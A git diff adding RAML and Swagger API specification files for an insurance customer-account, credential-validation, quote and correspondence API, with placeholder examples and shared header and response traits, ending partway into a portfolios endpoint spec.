0000000..d6ffdea --- /dev/null +++ b/demo/apis/SE-11508/examples/customer-accounts-get-200.raml @@ -0,0 +1,41 @@ +#%RAML 1.0 NamedExample + +multiple_customer_accounts_list_all_olss_registered: + displayName: GET response example with multiple customer accounts found + value: + - #1st element + id: "123456789" + dateOfBirth: "1970-01-01" + olssRegistered: true + - #2nd element + id: "123456799" + dateOfBirth: "1970-01-01" + olssRegistered: true + +multiple_customer_accounts_list_all_non_olss_registered: + displayName: GET response example with multiple customer accounts found + value: + - #1st element + id: "123456789" + dateOfBirth: "1970-01-01" + olssRegistered: false + - #2nd element + id: "123456799" + dateOfBirth: "1970-01-01" + olssRegistered: false + +multiple_customer_accounts_list_mixed: + displayName: GET response example with multiple customer accounts found + value: + - #1st element + id: "123456789" + dateOfBirth: "1970-01-01" + olssRegistered: true + - #2nd element + id: "123456799" + dateOfBirth: "1970-01-01" + olssRegistered: false + +empty_customer_accounts_list: + displayName: GET response example with no customer accounts found + value: [] \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/customer-accounts-patch-request.raml b/demo/apis/SE-11508/examples/customer-accounts-patch-request.raml new file mode 100644 index 0000000..93e96d9 --- /dev/null +++ b/demo/apis/SE-11508/examples/customer-accounts-patch-request.raml @@ -0,0 +1,31 @@ +#%RAML 1.0 NamedExample + +userId_only_request: + displayName: PATCH Request with only userId + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + +userId_and_email_request: + displayName: PATCH Request with userId and email + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + email: "jsmith@provider.com" + +userId_and_encryptedPassword_request: + displayName: PATCH Request with userId and encryptedPassword + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + encryptedPassword: "XXXXXXXX" + +userId_email_and_encryptedPassword_request: + displayName: PATCH Request with email and encryptedPassword + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + email: "jsmith@provider.com" + encryptedPassword: "XXXXXXXX" + +email_and_encryptedPassword_request: + displayName: PATCH Request with email and encryptedPassword + value: + email: "jsmith@provider.com" + encryptedPassword: "XXXXXXXX" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/retrieve-quotes-post-200.raml b/demo/apis/SE-11508/examples/retrieve-quotes-post-200.raml new file mode 100644 index 0000000..1588a8f --- /dev/null +++ b/demo/apis/SE-11508/examples/retrieve-quotes-post-200.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 NamedExample + +validCredentials: + displayName: Valid Credentials Api Customer + value: + customerAccountId : "123456789" + quoteId : "TED456789-01" + isTE : true + affinityCode : "BIS1" + +validCredentialsOLSS: + displayName: Valid Credentials OLSS + value: + customerAccountId : "123456789" + quoteId : "123456789-01" + isTE : false + affinityCode : "BIS1" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/send-correspondence-post-request.raml b/demo/apis/SE-11508/examples/send-correspondence-post-request.raml new file mode 100644 index 0000000..556ad23 --- /dev/null +++ b/demo/apis/SE-11508/examples/send-correspondence-post-request.raml @@ -0,0 +1,34 @@ +#%RAML 1.0 NamedExample + +registration_confirmation_with_no_callback_request: + displayName: POST Request where correspondence is of type "registration-confirmation" with no callback URL. + value: + correspondenceTypeCode: "registration-confirmation" + +forgotten_password_with_callback_request: + displayName: POST Request where correspondence is of type "forgotten-password" and a callback URL is provided. + value: + correspondenceTypeCode: "forgotten-password" + callbackUrl: "http://pingurl/forgottenpassword" + +password_reset_confirmation_with_callback_request: + displayName: POST Request where correspondence is of type "password-reset-confirmation" and a callback URL is provided. + value: + correspondenceTypeCode: "password-reset-confirmation" + callbackUrl: "http://pingurl/resetpassword" + +change_password_confirmation_with_no_callback_request: + displayName: POST Request where correspondence is of type "change-password-confirmation" and no callback URL. + value: + correspondenceTypeCode: "change-password-confirmation" + +change_email_confirmation_with_no_callback_request: + displayName: POST Request where correspondence is of type "change-email-confirmation" and no callback URL. + value: + correspondenceTypeCode: "change-email-confirmation" + +email_verification_with_callback_request: + displayName: POST Request where correspondence is of type "email-verification" and a callback URL. + value: + correspondenceTypeCode: "email-verification" + callbackUrl: "http://pingurl/emailverified" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/validate-credentials-post-200.raml b/demo/apis/SE-11508/examples/validate-credentials-post-200.raml new file mode 100644 index 0000000..9a3a3d1 --- /dev/null +++ b/demo/apis/SE-11508/examples/validate-credentials-post-200.raml @@ -0,0 +1,30 @@ +#%RAML 1.0 NamedExample + +no_ping_userId_and_multiple_customer_returned_example: + displayName: Validate Credentials successful response with no userId + value: + - #1st entry + customerAccountId: "123456789" + passwordMatched: true + - #2nd entry + customerAccountId: "123456799" + passwordMatched: true + +ping_userId_and_one_customer_returned_example: + displayName: Validate Credentials successful single response with userId + value: + - #1st entry + customerAccountId: "123456789" + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + passwordMatched: false + +ping_userId_and_multiple_customer_returned_example: + displayName: Validate Credentials successful multiple response with one userId + value: + - #1st entry + customerAccountId: "123456789" + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + passwordMatched: true + - #2nd entry + customerAccountId: "123456799" + passwordMatched: false \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/validate-customer-account-hash-post-400.raml b/demo/apis/SE-11508/examples/validate-customer-account-hash-post-400.raml new file mode 100644 index 0000000..bb61759 --- /dev/null +++ b/demo/apis/SE-11508/examples/validate-customer-account-hash-post-400.raml @@ -0,0 +1,10 @@ +#%RAML 1.0 NamedExample + +400_badrequest_validate_customer_account_hash: + displayName: A bad request for Customer Account Hash + description: A bad request generated by the API + value: + messages: + - + code: APIXXXX + description: "The timestamp is out of date" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/validate-customer-account-hash-post-request.raml b/demo/apis/SE-11508/examples/validate-customer-account-hash-post-request.raml new file mode 100644 index 0000000..2741b65 --- /dev/null +++ b/demo/apis/SE-11508/examples/validate-customer-account-hash-post-request.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample + +validate_customer_account_hash_request: + displayName: A POST Validate Customer Account Hash Request Example + description: A POST Validate Customer Account Hash Request Example + value: + encryptedHash: "XXXXXXXXX" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/validate-customer-account-post-200.raml b/demo/apis/SE-11508/examples/validate-customer-account-post-200.raml new file mode 100644 index 0000000..035e8e3 --- /dev/null +++ b/demo/apis/SE-11508/examples/validate-customer-account-post-200.raml @@ -0,0 +1,76 @@ +#%RAML 1.0 NamedExample + +validateCustomerAccountSinglePolicyResponse: + displayName: Validate Customer Account Single Policy Response + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + customerAccountId: "123456789" + title: "MR" + firstName: "John" + lastName: "Smith" + email: "jsmith@provider.com" + policies: + - + id: "123456789-01" + description: "Ford Fiesta 2015" + startDate: "2019-01-01" + +validateCustomerAccountMultiplePolicyResponse: + displayName: Validate Customer Account Multiple Policy Response + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + customerAccountId: "123456789" + title: "MR" + firstName: "John" + lastName: "Smith" + email: "jsmith@provider.com" + policies: + - + id: "123456789-01" + description: "Ford Fiesta 2015" + startDate: "2019-01-01" + - + id: "123456789-02" + description: "15 High Street, Derby DE1 4DS" + startDate: "2019-02-01" + +validateCustomerAccountContainsEmailNoPingIdResponse: + displayName: Validate Customer Account Response Email is Populated, No PingId + value: + customerAccountId : "123456789" + title : "MR" + firstName : "John" + lastName : "Smith" + email: "jsmith@provider.com" + policies: + - + id: "123456789-01" + description: "Ford Fiesta 2015" + startDate: "2019-01-01" + +validateCustomerAccountContainsPingIdNoEmailResponse: + displayName: Validate Customer Account Response PingId is Populated, No Email + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + customerAccountId : "123456789" + title : "MR" + firstName : "John" + lastName : "Smith" + policies: + - + id: "123456789-01" + description: "Ford Fiesta 2015" + startDate: "2019-01-01" + +validateCustomerAccountContainsNoPingIdNoEmailResponse: + displayName: Validate Customer Account Response PingId is Populated, No Email + value: + customerAccountId : "123456789" + title : "MR" + firstName : "John" + lastName : "Smith" + policies: + - + id: "123456789-01" + description: "Ford Fiesta 2015" + startDate: "2019-01-01" diff --git a/demo/apis/SE-11508/examples/validate-customer-account-post-400.raml b/demo/apis/SE-11508/examples/validate-customer-account-post-400.raml new file mode 100644 index 0000000..969dcb6 --- /dev/null +++ b/demo/apis/SE-11508/examples/validate-customer-account-post-400.raml @@ -0,0 +1,10 @@ +#%RAML 1.0 NamedExample + +400_badrequest_for_validate_customer_account: + displayName: A bad request for Customer Account + description: A bad request generated by DISC + value: + messages: + - + code: APIXXXX + description: "'dateOfBirth' is invalid" diff --git a/demo/apis/SE-11508/examples/validate-customer-account-post-request.raml b/demo/apis/SE-11508/examples/validate-customer-account-post-request.raml new file mode 100644 index 0000000..c4b3414 --- /dev/null +++ b/demo/apis/SE-11508/examples/validate-customer-account-post-request.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 NamedExample + +ValidatePingCustomerAccountsPostExample: + displayName: An example of the POST Request for validating PING customer + value: + firstName : "John" + lastName : "Smith" + dateOfBirth : "2019-03-03" \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml new file mode 100644 index 0000000..bc06209 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml @@ -0,0 +1,10 @@ +#%RAML 1.0 SecurityScheme +description: | + A lightweight security policy which requires an Authorization http header to be set on a request. +type: x-custom +describedBy: + headers: + Authorization: + description: | + Used to pass an authorization token on the request. + type: string \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/api-headers-trait.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/api-headers-trait.raml new file mode 100644 index 0000000..85de82e --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/api-headers-trait.raml @@ -0,0 +1,20 @@ +#%RAML 1.0 Trait + + headers: + X-Trace-Id: + description: The X-Trace-Id provides API clients the opportunity to submit there own reference ID on an API request. The Id will be output in the application logs to facilate diagnostic troubleshooting. + type: string + maxLength: 64 + required: false + + X-Request-Id: + description: The X-Request-Id is a correlation identifier set on a request by the loadbalancer. + type: string + pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$ + required: true + + X-Message-Id: + description: The X-Message-Id is a unique identifier for every request within the API subsystem. + type: string + pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$ + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml new file mode 100644 index 0000000..193aa8d --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml @@ -0,0 +1,30 @@ +#%RAML 1.0 Trait + +responses: + 400: + description: Bad request. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 404: + description: Resource not found. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 500: + description: Internal Server Error. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/create.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/create.raml new file mode 100644 index 0000000..fe21585 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/create.raml @@ -0,0 +1,30 @@ +#%RAML 1.0 Trait + +responses: + 201: + description: Created + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 400: + description: Bad request. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 500: + description: Internal Server Error. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/customer-account-filter-trait.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/customer-account-filter-trait.raml new file mode 100644 index 0000000..68446d6 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/customer-account-filter-trait.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 Trait + +queryParameters: + customeraccountid: + description: Customer Account Id + required: false + minLength: 9 + maxLength: 9 \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/delete.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/delete.raml new file mode 100644 index 0000000..0fe043d --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/delete.raml @@ -0,0 +1,48 @@ +#%RAML 1.0 Trait + +responses: + 204: + description: No Content + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 400: + description: Bad request. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 404: + description: Resource not found. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 422: + description: Unprocessable Entity. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 500: + description: Internal Server Error. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/payment.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/payment.raml new file mode 100644 index 0000000..734842b --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/payment.raml @@ -0,0 +1,10 @@ +#%RAML 1.0 Trait + +headers: + Client-Id: + type: string + minLength: 10 + maxLength: 12 + pattern: ([\w]{3})([\.])([\w]{3})([\.])([\w]{2,4}) + example: TST.CLI.ID + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/policy-filter-trait.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/policy-filter-trait.raml new file mode 100644 index 0000000..8748dee --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/policy-filter-trait.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 Trait + +queryParameters: + policyid: + description: Policy id + required: false + minLength: 12 + maxLength: 12 \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/read.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/read.raml new file mode 100644 index 0000000..7af93c5 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/read.raml @@ -0,0 +1,48 @@ +#%RAML 1.0 Trait + +uses: + response-types: types/common-responses.raml + +responses: + 200: + description: Ok. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 400: + description: Bad request. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + body: + application/json: + properties: + messages?: response-types.ErrorMessage[] + 404: + description: Resource not found. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 500: + description: Internal Server Error. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + + \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/common-responses.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/common-responses.raml new file mode 100644 index 0000000..f4bf176 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/common-responses.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 Library +usage: This library offers shared payload responses for System Traits. + +types: + ErrorMessage: + properties: + code: string + description: string \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml new file mode 100644 index 0000000..d684b89 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 Library +usage: This library offers shared error responses for System Traits. + +types: + Error: + properties: + messages : Messages[] + + Messages: + properties: + code: + description: diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/underwriting.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/underwriting.raml new file mode 100644 index 0000000..07bcec1 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/underwriting.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 Trait +responses: + 503: + description: Service Unavailable. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/update.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/update.raml new file mode 100644 index 0000000..0fe043d --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/update.raml @@ -0,0 +1,48 @@ +#%RAML 1.0 Trait + +responses: + 204: + description: No Content + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 400: + description: Bad request. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 404: + description: Resource not found. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 422: + description: Unprocessable Entity. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 500: + description: Internal Server Error. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/api-headers.raml b/demo/apis/SE-11508/model-system/api-headers.raml new file mode 100644 index 0000000..0c7c890 --- /dev/null +++ b/demo/apis/SE-11508/model-system/api-headers.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 Trait + + headers: + X-Trace-Id: + description: The X-Trace-Id provides API clients the opportunity to submit there own reference ID on an API request. The Id will be output in the application logs to facilate diagnostic troubleshooting. + type: string + maxLength: 64 + required: false \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/api-strict-headers.raml b/demo/apis/SE-11508/model-system/api-strict-headers.raml new file mode 100644 index 0000000..5d04a04 --- /dev/null +++ b/demo/apis/SE-11508/model-system/api-strict-headers.raml @@ -0,0 +1,25 @@ +#%RAML 1.0 Trait + + headers: + X-Trace-Id: + description: The X-Trace-Id provides API clients the opportunity to submit there own reference ID on an API request. The Id will be output in the application logs to facilate diagnostic troubleshooting. + type: string + maxLength: 64 + required: false + + X-Request-Id: + description: The X-Request-Id is a correlation identifier set on a request by the loadbalancer. + type: string + pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$ + required: true + + X-Message-Id: + description: The X-Message-Id is a unique identifier for every request within the API subsystem. + type: string + pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$ + required: true + + Brand: + description: The User Brand + type: string + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/change-credentials-type.raml b/demo/apis/SE-11508/model-system/change-credentials-type.raml new file mode 100644 index 0000000..d9ad152 --- /dev/null +++ b/demo/apis/SE-11508/model-system/change-credentials-type.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 Library + +types: + UpdateCredentials: + properties: + encryptedPassword: + description: Existing password on account in encrypted format. + newEncryptedPassword?: + description: New password to be set on account in encrypted format. + newUserName?: + description: Email Address as username to be updated on account. \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/convert-aggregator-quote-types.raml b/demo/apis/SE-11508/model-system/convert-aggregator-quote-types.raml new file mode 100644 index 0000000..cb26551 --- /dev/null +++ b/demo/apis/SE-11508/model-system/convert-aggregator-quote-types.raml @@ -0,0 +1,25 @@ +#%RAML 1.0 Library + +types: + CreatedQuote: + properties: + referenceId: + description: The newly created Customer Account ID. + quoteId?: + description: The newly created Quote ID. + source: + description: The name of the Aggregator which is the source of the click-through URL. + existingCustomer: + type: boolean + description: A boolean value to indicate whether the 'new' customer's details have been matched to an existing account. + title?: + firstName?: + lastName?: + + + AggregatorCreateQuote: + properties: + clickthroughurl: + required: true + type: string + example: https://budget-qa.doodleinsurance.co.uk/Car/BI9M/ALE/?refno=A8S000191&vehno=1&ORGAFFCLIE=CTMS&prdcls=PC&clkref=4DCFB507B8500DCB1123B3AF75F10255D92297C7 \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/create-quote-types.raml b/demo/apis/SE-11508/model-system/create-quote-types.raml new file mode 100644 index 0000000..a1d397d --- /dev/null +++ b/demo/apis/SE-11508/model-system/create-quote-types.raml @@ -0,0 +1,35 @@ +#%RAML 1.0 Library + +types: + CreateQuotePostRequest: + properties: + titleCode: string + firstName: string + lastName: string + dateOfBirth: string + maritalStatusCode: string + addressLine1: string + addressLine2?: string + addressLine3?: string + addressLine4?: string + addressLine5?: string + postCode: string + maskCode: string + product: string + clientId: string + + CreateQuotePostMatchedResponse: + properties: + customerAccountId: string + quoteId: string + titleCode: string + title: string + firstName: string + lastName: string + existingCustomer: boolean + + CreateQuotePostCreatedResponse: + properties: + customerAccountId: string + quoteId: string + existingCustomer: boolean \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/customer-accounts-types.raml b/demo/apis/SE-11508/model-system/customer-accounts-types.raml new file mode 100644 index 0000000..af5ca5d --- /dev/null +++ b/demo/apis/SE-11508/model-system/customer-accounts-types.raml @@ -0,0 +1,57 @@ +#%RAML 1.0 Library + +types: + PingBaseCustomerAccount: + properties: + id: + type: string + required: true + + PingCustomerAccount: + type: PingBaseCustomerAccount + properties: + dateOfBirth: + type: string + olssRegistered: + type: boolean + required: true + + PatchPingCustomerAccountRequest: + properties: + userId: + type: string + required: false + example: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + email: + type: string + required: false + maxLength: 50 + pattern: ^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b$ + example: "jsmith@provider.co.uk" + encryptedPassword: + type: string + required: false + example: "XXXXXXXX" + + ValidateCustomerAccountPolicy: + properties: + id: string + description: string + startDate: date-only + + ValidateCustomerAccountMatchedResponse: + properties: + userId?: string + customerAccountId: string + title: string + firstName: string + lastName: string + email?: string + policies: ValidateCustomerAccountPolicy[] + + ValidateCustomerAccountMatchedRequest: + properties: + firstName: string + lastName: string + dateOfBirth: string + \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/ping-error-messages-types.raml b/demo/apis/SE-11508/model-system/ping-error-messages-types.raml new file mode 100644 index 0000000..40f335b --- /dev/null +++ b/demo/apis/SE-11508/model-system/ping-error-messages-types.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 Library + +types: + PingErrorMessage: + properties: + code: + type: string + description: + type: string + + PingErrorMessagesResponse: + properties: + messages: + type: PingErrorMessage[] + required: false + + \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/ping-validate-credentials.raml b/demo/apis/SE-11508/model-system/ping-validate-credentials.raml new file mode 100644 index 0000000..1991487 --- /dev/null +++ b/demo/apis/SE-11508/model-system/ping-validate-credentials.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 Library + +types: + + PingValidateCredentialsResponse: + properties: + customerAccountId: + type: string + required: true + userId: + type: string + required: false + passwordMatched: + type: boolean + required: true + \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/retrieve-quotes-types.raml b/demo/apis/SE-11508/model-system/retrieve-quotes-types.raml new file mode 100644 index 0000000..618dec5 --- /dev/null +++ b/demo/apis/SE-11508/model-system/retrieve-quotes-types.raml @@ -0,0 +1,40 @@ +#%RAML 1.0 Library +types: + RetrieveQuotesResponse: + properties: + customerAccountId: + description: Valid customer account ID. + quoteId: + description: The most recent quote id found. + isTE: + type: boolean + description: Is this a TE journey? + affinityCode: + description: The affinity code of this journey. + + RetrieveQuotesRequest: + properties: + lastName: + required: true + type: string + example: "Schwarzenegger" + dateOfBirth: + required: true + type: date-only + example: "1947-07-30" + customerAccountId: + required: true + type: string + minLength: 9 + maxLength: 9 + example: "123456789" + product: + required: true + type: + enum: [ Car, Van, Home ] + example: "Car" + maskCode: + required: true + type: string + maxLength: 7 + example: "A123" \ No newline at end of file diff --git a/demo/apis/SE-12291/SE-12291.json b/demo/apis/SE-12291/SE-12291.json new file mode 100644 index 0000000..33ca778 --- /dev/null +++ b/demo/apis/SE-12291/SE-12291.json @@ -0,0 +1,357 @@ +{ + "swagger": "2.0", + "info": { + "version": "v1", + "title": "Example" + }, + "host": "sample", + "schemes": [ + "https" + ], + "paths": { + "/api/investment-administration/capital-system/v1/portfolios": { + "get": { + "tags": [ + "Portfolio" + ], + "summary": "Returns the portfolios", + "operationId": "Portfolio_GetPortfolios", + "consumes": [], + "produces": [ + "application/json" + ], + "parameters": [ + { + "name": "portfolioUids", + "in": "query", + "description": "Filters the portfolios to this set of portfolio ids", + "required": false, + "type": "array", + "items": { + "type": "integer", + "format": "int64" + }, + "collectionFormat": "multi" + }, + { + "name": "investmentPortfolioType", + "in": "query", + "description": "Filters the portfolio by portfolio type (not valid for portfolio category of index or composite)", + "required": false, + "type": "string", + "enum": [ + "AA", + "MR", + "RP", + "MX", + "GP", + "SG", + "ID", + "AD", + "AM", + "AR", + "AX", + "GA", + "GM", + "GR", + "GX", + "RM", + "SM", + "SR", + "SX", + "XM", + "FL", + "AT", + "CP", + "MG", + "IDM" + ] + }, + { + "name": "portfolioCategory", + "in": "query", + "description": "Category of the portfolios", + "required": false, + "type": "string", + "enum": [ + "Investment", + "Index", + "Composite" + ] + }, + { + "name": "containsValue", + "in": "query", + "description": "Find portfolios that contain a specific value.", + "required": false, + "type": "string" + }, + { + "name": "containsValueFields", + "in": "query", + "description": "Defaults to 1/PortfolioName. Choose which fields to find a contained value. 1 = PortfolioName, 2 = InvestmentPortfolioName, 3 = either", + "required": false, + "type": "integer", + "format": "int32" + }, + { + "name": "resultCount", + "in": "query", + "description": "Limit Results to a certain amount", + "required": false, + "type": "integer", + "format": "int32" + }, + { + "name": "investmentPortfolioProperty.name", + "in": "query", + "description": "The name of the property to filter by", + "required": false, + "type": "string" + }, + { + "name": "investmentPortfolioProperty.value", + "in": "query", + "description": "[Requires Property Name, Cannot be Filtered Alone] The value of the property must be equal to", + "required": false, + "type": "string" + }, + { + "name": "clientId", + "in": "header", + "description": "HTTP Header Parameter - Client system name that invoked this api", + "required": false, + "type": "string" + }, + { + "name": "CG-CorrelationId", + "in": "header", + "description": "HTTP Header Parameter - GUID to uniquely identify requests and correlate request & response, end-to-end", + "required": false, + "type": "string" + }, + { + "name": "metaData", + "in": "header", + "description": "HTTP Header Parameter - Comma separated name-value pairs of key elements of request", + "required": false, + "type": "string" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "$ref": "#/definitions/PortfoliosResponse" + } + }, + "204": { + "description": "NoContent" + }, + "500": { + "description": "Internal Server Error", + "schema": { + "$ref": "#/definitions/Error" + } + } + }, + "security": [ + { + "basicAuth": [] + } + ] + } + } + }, + "definitions": { + "PortfoliosResponse": { + "allOf": [ + { + "$ref": "#/definitions/ApiResponse" + }, 